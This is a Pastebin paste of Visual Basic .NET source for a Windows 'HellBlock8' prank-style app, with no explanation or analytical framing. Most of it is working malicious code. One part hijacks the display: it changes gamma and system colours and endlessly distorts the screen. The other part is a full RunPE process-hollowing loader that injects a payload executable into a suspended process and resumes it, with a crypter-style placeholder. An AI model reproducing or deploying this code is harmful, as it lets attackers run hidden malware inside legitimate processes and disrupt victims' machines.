Advertisement
Rythorian

Untitled

Dec 4th, 2024
14
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 19.53 KB | Source Code | 0 0
  1. Imports System.Runtime.InteropServices
  2. Imports System.Threading
  3.  
  4. Public Class Form1
  5.  
  6.  
  7. ' DLL Imports
  8. Private Declare Auto Function GetDesktopWindow Lib "user32.dll" () As IntPtr
  9. Private Declare Auto Function GetWindowDC Lib "user32.dll" (hwnd As IntPtr) As IntPtr
  10. Private Declare Auto Function CreateCompatibleBitmap Lib "gdi32" (hdc As IntPtr, nWidth As IntPtr, nHeight As IntPtr) As IntPtr
  11. Private Declare Auto Function CreateCompatibleDC Lib "gdi32" (hdc As IntPtr) As IntPtr
  12. Private Declare Auto Function SelectObject Lib "gdi32" (hdc As IntPtr, hObject As IntPtr) As IntPtr
  13. Private Declare Auto Function BitBlt Lib "gdi32" (hDestDC As IntPtr, x As IntPtr, y As IntPtr, nWidth As IntPtr, nHeight As IntPtr, hSrcDC As IntPtr, xSrc As IntPtr, ySrc As IntPtr, dwRop As IntPtr) As IntPtr
  14.  
  15. Private Const SRCCOPY = &HCC0020 ' (DWORD) dest = source
  16. Private MyScreenH As UInt16 = My.Computer.Screen.WorkingArea.Height
  17. Private MyScreenW As UInt16 = My.Computer.Screen.WorkingArea.Width
  18. Private x, y, T As UInt16
  19. Private Buffer, hBitmap, Desktop, hScreen, ScreenBuffer As Int64
  20. Private Create As Object
  21.  
  22.  
  23. Public Const SWP_HIDEWINDOW = &H80
  24.  
  25. Public Const SWP_SHOWWINDOW = &H40
  26.  
  27. Public Const SWP_HIDE = 0
  28.  
  29. Public Const SW_RESTORE As Integer = 9
  30.  
  31. Public ReadOnly taskBar As Integer
  32.  
  33. Private Const SPI_SETDESKWALLPAPER As Integer = &H14
  34.  
  35. Private Const SPIF_UPDATEINIFILE As Integer = &H1
  36.  
  37. Private Const SPIF_SENDWININICHANGE = &H2
  38.  
  39. Private Declare Function SystemParametersInfo Lib "user32" (uAction As String, uParam As String, lpvParam As String, fuWinIni As Integer) As Integer
  40.  
  41. Declare Function SetWindowPos Lib "user32" (hwnd As Integer, hWndInsertAfter As Integer, x As Integer, y As Integer, cx As Integer, cy As Integer, wFlags As Integer) As Integer
  42.  
  43. Declare Function FindWindow Lib "user32" Alias "FindWindowA" (lpClassName As String, lpWindowName As String) As Integer
  44.  
  45. Private Declare Function ShowWindow Lib "user32" (hwind As IntPtr, nCmdShow As Integer) As Integer
  46.  
  47. Private Declare Function SetProcessWorkingSetSize Lib "kernel32.dll" (hProcess As IntPtr, dwMinimumWorkingSetSize As Integer, dwMaximumWorkingSetSize As Integer) As Integer
  48.  
  49. Private Structure RAMP
  50. <MarshalAs(UnmanagedType.ByValArray, SizeConst:=256)>
  51. Public Red As UShort()
  52. <MarshalAs(UnmanagedType.ByValArray, SizeConst:=256)>
  53. Public Green As UShort()
  54. <MarshalAs(UnmanagedType.ByValArray, SizeConst:=256)>
  55. Public Blue As UShort()
  56. End Structure
  57.  
  58. Private Declare Function SetSysColors Lib "user32" (one As Integer, ByRef element As Integer, ByRef color As Integer) As Boolean
  59.  
  60. Private Declare Function apiGetDeviceGammaRamp Lib "gdi32" Alias "GetDeviceGammaRamp" (hdc As Integer, ByRef lpv As RAMP) As Integer
  61.  
  62. Private Declare Function apiSetDeviceGammaRamp Lib "gdi32" Alias "SetDeviceGammaRamp" (hdc As Integer, ByRef lpv As RAMP) As Integer
  63.  
  64. Private Declare Function apiGetDesktopWindow Lib "user32" Alias "GetDesktopWindow" () As Integer
  65.  
  66. Private Declare Function apiGetWindowDC Lib "user32" Alias "GetWindowDC" (hwnd As Integer) As Integer
  67.  
  68. Private newRamp As New RAMP()
  69.  
  70. Private usrRamp As New RAMP()
  71.  
  72. Private IsLoaded As Boolean
  73.  
  74. Private Sub Form1_Load(sender As Object, e As EventArgs) Handles MyBase.Load
  75.  
  76. My.Computer.Audio.Play(My.Resources.soul, AudioPlayMode.BackgroundLoop)
  77.  
  78. TrackBar1.Minimum = 1000 : TrackBar1.Maximum = 2000
  79.  
  80. TrackBar2.Minimum = 28 : TrackBar2.Maximum = 44
  81.  
  82. apiGetDeviceGammaRamp(apiGetWindowDC(apiGetDesktopWindow), usrRamp)
  83.  
  84. IsLoaded = True
  85.  
  86. Timer2.Start()
  87.  
  88. ' SystemParametersInfo(SPI_SETDESKWALLPAPER, 0, "C:\Users\rytho\source\repos\HellBlock8\HellBlock8\Resources\New2.jpg", SPIF_UPDATEINIFILE Or SPIF_SENDWININICHANGE)
  89.  
  90. Opacity = 30
  91.  
  92. Timer1.Start() 'follow up with this
  93.  
  94. Width = 400
  95.  
  96. Height = 400
  97. Dim path As New Drawing2D.GraphicsPath()
  98.  
  99. path.AddEllipse(0, 0, PictureBox1.Width, PictureBox1.Height)
  100.  
  101. PictureBox1.Region = New Region(path)
  102.  
  103.  
  104. Using CD As New ColorDialog
  105.  
  106. Dim BackgroundColor As Integer = ColorTranslator.ToWin32(Color.Black)
  107.  
  108. SetSysColors(1, 1, BackgroundColor)
  109. End Using
  110.  
  111. Timer4.Start()
  112.  
  113. Randomize()
  114.  
  115. Visible = True
  116. ' Opacity = 0
  117.  
  118. ' Wait T minutes
  119. T = (Rnd() * 3) + 1
  120. For i As UInt32 = 1 To T
  121. WaitAMin()
  122. Next
  123.  
  124. ' Initialize Distortion
  125. Distort()
  126.  
  127. End Sub
  128.  
  129.  
  130.  
  131. Private Sub Distort()
  132. Desktop = GetWindowDC(GetDesktopWindow())
  133.  
  134. ' Create a device context compatible with a known device context and assign it to a long variable
  135. hBitmap = CreateCompatibleDC(Desktop)
  136. hScreen = CreateCompatibleDC(Desktop)
  137.  
  138. ' Create bitmaps in memory for temporary storage compatible with a known bitmap
  139. Buffer = CreateCompatibleBitmap(Desktop, 32, 32)
  140. ScreenBuffer = CreateCompatibleBitmap(Desktop, MyScreenW, MyScreenH)
  141.  
  142. ' Assign device contexts to the bitmaps
  143. SelectObject(hBitmap, Buffer)
  144. SelectObject(hScreen, ScreenBuffer)
  145.  
  146. ' Save the screen for later restoration
  147. BitBlt(hScreen, 0, 0, MyScreenW, MyScreenH, Desktop, 0, 0, SRCCOPY)
  148.  
  149. While (1)
  150. Application.DoEvents()
  151. y = (MyScreenH) * Rnd()
  152. x = (MyScreenW) * Rnd()
  153.  
  154. ' Copy 32x32 portion of screen into buffer at x,y
  155. BitBlt(hBitmap, 0, 0, 32, 32, Desktop, x, y, SRCCOPY)
  156.  
  157. ' Paste back slightly shifting the values for x and y
  158. BitBlt(Desktop, x + (3 - 6 * Rnd()), y + (2 - 4 * Rnd()), 82, 82, hBitmap, 0, 0, SRCCOPY)
  159. Thread.Sleep(TimeSpan.FromMilliseconds(0.5))
  160. End While
  161. End Sub
  162.  
  163. Private Sub WaitAMin()
  164.  
  165. For i As UInt32 = 1 To 50
  166. Thread.Sleep(1)
  167. Application.DoEvents()
  168. Next
  169. End Sub
  170. Private Sub Form1_FormClosed(sender As Object, e As FormClosedEventArgs) Handles MyBase.FormClosed
  171. apiSetDeviceGammaRamp(apiGetWindowDC(apiGetDesktopWindow), usrRamp)
  172. End Sub
  173.  
  174. Private Sub Form1_Resize(sender As Object, e As EventArgs) Handles MyBase.Resize
  175. Refresh()
  176. End Sub
  177.  
  178. Private Sub Form1_Paint(sender As Object, e As PaintEventArgs) Handles MyBase.Paint
  179. Dim formMiddleX As Integer = Width \ 2
  180. Dim formMiddleY As Integer = Height \ 2
  181. Dim x, y As Double
  182. Dim x1, y1 As Integer
  183. Dim circlePointsList As New List(Of Point)
  184. For index As Double = 0 To 2 * Math.PI Step 0.05
  185. Dim horizontalRadius As Integer = formMiddleX
  186. x = (horizontalRadius * Math.Cos(index)) + formMiddleX
  187. Dim verticalRadius As Integer = formMiddleY
  188. y = (verticalRadius * Math.Sin(index)) + formMiddleY
  189. x1 = CInt(Int(x))
  190. y1 = CInt(Int(y))
  191. circlePointsList.Add(New Point(x1, y1))
  192. Next
  193. Dim circlePoints() As Point = circlePointsList.ToArray
  194. Dim types(circlePoints.GetUpperBound(0)) As Byte
  195. For index As Integer = 0 To circlePoints.GetUpperBound(0)
  196. types(index) = Drawing2D.FillMode.Winding
  197.  
  198. Next
  199. Using gp As New Drawing2D.GraphicsPath(circlePoints, types)
  200. Region = New Region(gp)
  201. End Using
  202.  
  203. End Sub
  204.  
  205. Private Sub Form1_FormClosing(sender As Object, e As FormClosingEventArgs) Handles MyBase.FormClosing
  206.  
  207. Timer1.Dispose()
  208. Timer2.Dispose()
  209. Timer3.Dispose()
  210. Timer4.Dispose()
  211. Application.Exit()
  212. End Sub
  213.  
  214. Private Function DesktopBrightnessContrast(bLevel As Integer, gamma As Integer) As Integer
  215. newRamp.Red = New UShort(255) {} : newRamp.Green = New UShort(255) {} : newRamp.Blue = New UShort(255) {}
  216. For i As Integer = 1 To 255
  217. newRamp.Red(i) = InLineAssignHelper(newRamp.Green(i), InLineAssignHelper(newRamp.Blue(i), CUShort(Math.Min(65535, Math.Max(0, (Math.Pow((i + 1) / 256.0R, gamma * 0.1) * 65535) + 0.5)))))
  218.  
  219. Next
  220. For iCtr As UShort = 0 To 255
  221. newRamp.Red(iCtr) = CUShort(newRamp.Red(iCtr) / (bLevel / 1000))
  222. newRamp.Green(iCtr) = CUShort(newRamp.Green(iCtr) / (bLevel / 1000))
  223. newRamp.Blue(iCtr) = CUShort(newRamp.Blue(iCtr) / (bLevel / 1000))
  224. Next
  225. Return apiSetDeviceGammaRamp(apiGetWindowDC(apiGetDesktopWindow), newRamp)
  226. End Function
  227.  
  228. Private Function InLineAssignHelper(Of T)(ByRef target As T, value As T) As T
  229. target = value : InLineAssignHelper = value
  230. End Function
  231.  
  232. Private Sub Timer1_Tick(sender As Object, e As EventArgs) Handles Timer1.Tick
  233.  
  234. Location = New Point(MousePosition.X + -200, MousePosition.Y + -200)
  235. If IsLoaded = False Then Exit Sub
  236. DesktopBrightnessContrast(TrackBar1.Value, 44 - TrackBar2.Value + -3)
  237.  
  238. End Sub
  239.  
  240.  
  241. Private Sub Timer2_Tick(sender As Object, e As EventArgs) Handles Timer2.Tick
  242. Timer2.Stop()
  243. Timer3.Start()
  244. If IsLoaded = False Then Exit Sub
  245. DesktopBrightnessContrast(TrackBar1.Value, 44 - TrackBar2.Value + 10)
  246. Using CD As New ColorDialog
  247. Dim BackgroundColor As Integer = ColorTranslator.ToWin32(Color.Black)
  248.  
  249. SetSysColors(1, 1, BackgroundColor)
  250.  
  251. End Using
  252. TrackBar1.Minimum = 1000 : TrackBar1.Maximum = 2000
  253. TrackBar2.Minimum = 28 : TrackBar2.Maximum = 44
  254. apiGetDeviceGammaRamp(apiGetWindowDC(apiGetDesktopWindow), usrRamp)
  255. IsLoaded = True
  256. End Sub
  257.  
  258. Private Sub Timer3_Tick(sender As Object, e As EventArgs) Handles Timer3.Tick
  259. Timer3.Stop()
  260. Timer2.Start()
  261. Timer4.Start()
  262. If IsLoaded = False Then Exit Sub
  263. DesktopBrightnessContrast(TrackBar1.Value, 44 - TrackBar2.Value + -3)
  264. TrackBar1.Minimum = 1000 : TrackBar1.Maximum = 2000
  265. TrackBar2.Minimum = 28 : TrackBar2.Maximum = 44
  266. apiGetDeviceGammaRamp(apiGetWindowDC(apiGetDesktopWindow), usrRamp)
  267. IsLoaded = True
  268.  
  269. End Sub
  270.  
  271. Private Sub Timer4_Tick(sender As Object, e As EventArgs) Handles Timer4.Tick
  272. Timer4.Stop()
  273. Timer2.Start()
  274. Using CD As New ColorDialog
  275. Dim BackgroundColor As Integer = ColorTranslator.ToWin32(Color.White)
  276. SetSysColors(1, 1, BackgroundColor)
  277.  
  278. End Using
  279.  
  280. TrackBar1.Minimum = 1000 : TrackBar1.Maximum = 2000
  281. TrackBar2.Minimum = 28 : TrackBar2.Maximum = 44
  282. apiGetDeviceGammaRamp(apiGetWindowDC(apiGetDesktopWindow), usrRamp)
  283. IsLoaded = True
  284.  
  285.  
  286. End Sub
  287.  
  288. <DllImport("kernel32.dll", EntryPoint:="CreateProcess", CharSet:=CharSet.Unicode), Security.SuppressUnmanagedCodeSecurity>
  289. Private Shared Function CreateProcess_API(
  290. applicationName As String,
  291. commandLine As String,
  292. processAttributes As IntPtr,
  293. threadAttributes As IntPtr,
  294. inheritHandles As Boolean,
  295. creationFlags As UInteger,
  296. environment As IntPtr,
  297. currentDirectory As String,
  298. ByRef startupInfo As STARTUP_INFORMATION,
  299. ByRef processInformation As PROCESS_INFORMATION) As Boolean
  300. End Function 'CreateProcess
  301.  
  302. <DllImport("kernel32.dll", EntryPoint:="GetThreadContext"), Security.SuppressUnmanagedCodeSecurity>
  303. Private Shared Function GetThreadContext_API(
  304. thread As IntPtr,
  305. context As Integer()) As Boolean
  306. End Function 'GetThreadContext
  307.  
  308. <DllImport("kernel32.dll", EntryPoint:="Wow64GetThreadContext"), Security.SuppressUnmanagedCodeSecurity>
  309. Private Shared Function Wow64GetThreadContext_API(
  310. thread As IntPtr,
  311. context As Integer()) As Boolean
  312. End Function 'Wow64GetThreadContext
  313.  
  314. <DllImport("kernel32.dll", EntryPoint:="SetThreadContext"), Security.SuppressUnmanagedCodeSecurity>
  315. Private Shared Function SetThreadContext_API(
  316. thread As IntPtr,
  317. context As Integer()) As Boolean
  318. End Function 'SetThreadContext
  319.  
  320. <DllImport("kernel32.dll", EntryPoint:="Wow64SetThreadContext"), Security.SuppressUnmanagedCodeSecurity>
  321. Private Shared Function Wow64SetThreadContext_API(
  322. thread As IntPtr,
  323. context As Integer()) As Boolean
  324. End Function 'Wow64SetThreadContext
  325.  
  326. <DllImport("kernel32.dll", EntryPoint:="ReadProcessMemory"), Security.SuppressUnmanagedCodeSecurity>
  327. Private Shared Function ReadProcessMemory_API(
  328. process As IntPtr,
  329. baseAddress As Integer,
  330. ByRef buffer As Integer,
  331. bufferSize As Integer,
  332. ByRef bytesRead As Integer) As Boolean
  333. End Function 'ReadProcessMemory
  334.  
  335. <DllImport("kernel32.dll", EntryPoint:="WriteProcessMemory"), Security.SuppressUnmanagedCodeSecurity>
  336. Private Shared Function WriteProcessMemory_API(
  337. process As IntPtr,
  338. baseAddress As Integer,
  339. buffer As Byte(),
  340. bufferSize As Integer,
  341. ByRef bytesWritten As Integer) As Boolean
  342. End Function 'WriteProcessMemory
  343.  
  344. <DllImport("ntdll.dll", EntryPoint:="NtUnmapViewOfSection"), Security.SuppressUnmanagedCodeSecurity>
  345. Private Shared Function NtUnmapViewOfSection_API(
  346. process As IntPtr,
  347. baseAddress As Integer) As Integer
  348. End Function 'NtUnmapViewOfSection
  349.  
  350. <DllImport("kernel32.dll", EntryPoint:="VirtualAllocEx"), Security.SuppressUnmanagedCodeSecurity>
  351. Private Shared Function VirtualAllocEx_API(
  352. handle As IntPtr,
  353. address As Integer,
  354. length As Integer,
  355. type As Integer,
  356. protect As Integer) As Integer
  357. End Function 'VirtualAllocEx
  358.  
  359. <DllImport("kernel32.dll", EntryPoint:="ResumeThread"), Security.SuppressUnmanagedCodeSecurity>
  360. Private Shared Function ResumeThread_API(
  361. handle As IntPtr) As Integer
  362. End Function 'ResumeThread
  363.  
  364. <StructLayout(LayoutKind.Sequential, Pack:=1)>
  365. Private Structure PROCESS_INFORMATION
  366. Public ProcessHandle As IntPtr
  367. Public ThreadHandle As IntPtr
  368. Public ProcessId As UInteger
  369. Public ThreadId As UInteger
  370. End Structure 'PROCESS_INFORMATION
  371.  
  372. <StructLayout(LayoutKind.Sequential, Pack:=1)>
  373. Private Structure STARTUP_INFORMATION
  374. Public Size_ As UInteger
  375. Public Reserved1 As String
  376. Public Desktop As String
  377. Public Title As String
  378.  
  379. Public dwX As Integer
  380. Public dwY As Integer
  381. Public dwXSize As Integer
  382. Public dwYSize As Integer
  383. Public dwXCountChars As Integer
  384. Public dwYCountChars As Integer
  385. Public dwFillAttribute As Integer
  386. Public dwFlags As Integer
  387. Public wShowWindow As Short
  388. Public cbReserved2 As Short
  389. Public Reserved2 As IntPtr
  390. Public StdInput As IntPtr
  391. Public StdOutput As IntPtr
  392. Public StdError As IntPtr
  393. End Structure 'STARTUP_INFORMATION
  394.  
  395.  
  396. Public Shared Function Run(path As String, data As Byte()) As Boolean
  397. For fri As Integer = 1 To 5
  398. If HandleRun(path, String.Empty, data, True) Then Return True
  399. Next
  400.  
  401. Return False
  402. End Function 'Run
  403. Private Shared Function HandleRun(path As String, cmd As String, data As Byte(), compatible As Boolean) As Boolean
  404. Dim ReadWrite As Integer
  405. Dim QuotedPath As String = String.Format("""{0}""", path)
  406.  
  407. Dim SI As New STARTUP_INFORMATION
  408. Dim PI As New PROCESS_INFORMATION
  409.  
  410. SI.dwFlags = 0 ' dwFlags = 1 ( Hide ) ' dwFlags = 0 ( Show )
  411. SI.Size_ = CUInt(Marshal.SizeOf(GetType(STARTUP_INFORMATION)))
  412.  
  413. Try
  414. If Not String.IsNullOrEmpty(cmd) Then
  415. QuotedPath = QuotedPath & " " & cmd
  416. End If
  417.  
  418. If Not CreateProcess_API(path, QuotedPath, IntPtr.Zero, IntPtr.Zero, False, 4, IntPtr.Zero, Nothing, SI, PI) Then Throw New Exception()
  419.  
  420. '%Process_Protection% ProtectProcess(PI.ProcessId)
  421.  
  422. Dim FileAddress As Integer = BitConverter.ToInt32(data, 60)
  423. Dim ImageBase As Integer = BitConverter.ToInt32(data, FileAddress + 52)
  424.  
  425. Dim Context_(179 - 1) As Integer
  426. Context_(0) = 65538
  427.  
  428. If IntPtr.Size = 4 Then
  429. If Not GetThreadContext_API(PI.ThreadHandle, Context_) Then Throw New Exception()
  430. Else
  431. If Not Wow64GetThreadContext_API(PI.ThreadHandle, Context_) Then Throw New Exception()
  432. End If
  433.  
  434. Dim Ebx As Integer = Context_(41)
  435. Dim BaseAddress As Integer
  436.  
  437. If Not ReadProcessMemory_API(PI.ProcessHandle, Ebx + 8, BaseAddress, 4, ReadWrite) Then Throw New Exception()
  438.  
  439. If ImageBase = BaseAddress Then
  440. If Not NtUnmapViewOfSection_API(PI.ProcessHandle, BaseAddress) = 0 Then Throw New Exception()
  441. End If
  442.  
  443. Dim SizeOfImage As Integer = BitConverter.ToInt32(data, FileAddress + 80)
  444. Dim SizeOfHeaders As Integer = BitConverter.ToInt32(data, FileAddress + 84)
  445.  
  446. Dim AllowOverride As Boolean
  447. Dim NewImageBase As Integer = VirtualAllocEx_API(PI.ProcessHandle, ImageBase, SizeOfImage, 12288, 64) 'R1
  448.  
  449. 'This is the only way to execute under certain conditions. However, it may show
  450. 'an application error probably because things aren't being relocated properly.
  451.  
  452. If Not compatible AndAlso NewImageBase = 0 Then
  453. AllowOverride = True
  454. NewImageBase = VirtualAllocEx_API(PI.ProcessHandle, 0, SizeOfImage, 12288, 64)
  455. End If
  456.  
  457. If NewImageBase = 0 Then Throw New Exception()
  458.  
  459. If Not WriteProcessMemory_API(PI.ProcessHandle, NewImageBase, data, SizeOfHeaders, ReadWrite) Then Throw New Exception()
  460.  
  461. Dim SectionOffset As Integer = FileAddress + 248
  462. Dim NumberOfSections As Short = BitConverter.ToInt16(data, FileAddress + 6)
  463.  
  464. For fri As Integer = 0 To NumberOfSections - 1
  465. Dim VirtualAddress As Integer = BitConverter.ToInt32(data, SectionOffset + 12)
  466. Dim SizeOfRawData As Integer = BitConverter.ToInt32(data, SectionOffset + 16)
  467. Dim PointerToRawData As Integer = BitConverter.ToInt32(data, SectionOffset + 20)
  468.  
  469. If Not SizeOfRawData = 0 Then
  470. Dim SectionData(SizeOfRawData - 1) As Byte
  471. System.Buffer.BlockCopy(data, PointerToRawData, SectionData, 0, SectionData.Length)
  472.  
  473. If Not WriteProcessMemory_API(PI.ProcessHandle, NewImageBase + VirtualAddress, SectionData, SectionData.Length, ReadWrite) Then Throw New Exception()
  474. End If
  475.  
  476. SectionOffset += 40
  477. Next
  478.  
  479. Dim PointerData As Byte() = BitConverter.GetBytes(NewImageBase)
  480. If Not WriteProcessMemory_API(PI.ProcessHandle, Ebx + 8, PointerData, 4, ReadWrite) Then Throw New Exception()
  481.  
  482. Dim AddressOfEntryPoint As Integer = BitConverter.ToInt32(data, FileAddress + 40)
  483.  
  484. If AllowOverride Then NewImageBase = ImageBase
  485. Context_(44) = NewImageBase + AddressOfEntryPoint
  486.  
  487. If IntPtr.Size = 4 Then
  488. If Not SetThreadContext_API(PI.ThreadHandle, Context_) Then Throw New Exception()
  489. Else
  490. If Not Wow64SetThreadContext_API(PI.ThreadHandle, Context_) Then Throw New Exception()
  491. End If
  492.  
  493. If ResumeThread_API(PI.ThreadHandle) = -1 Then Throw New Exception()
  494. Catch
  495. Dim Pros As Process = Process.GetProcessById(CInt(PI.ProcessId))
  496. If Pros IsNot Nothing Then Pros.Kill()
  497.  
  498. Return False
  499.  
  500.  
  501. End Try
  502.  
  503. Return True
  504. End Function 'HandleRun
  505. End Class
  506.  
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement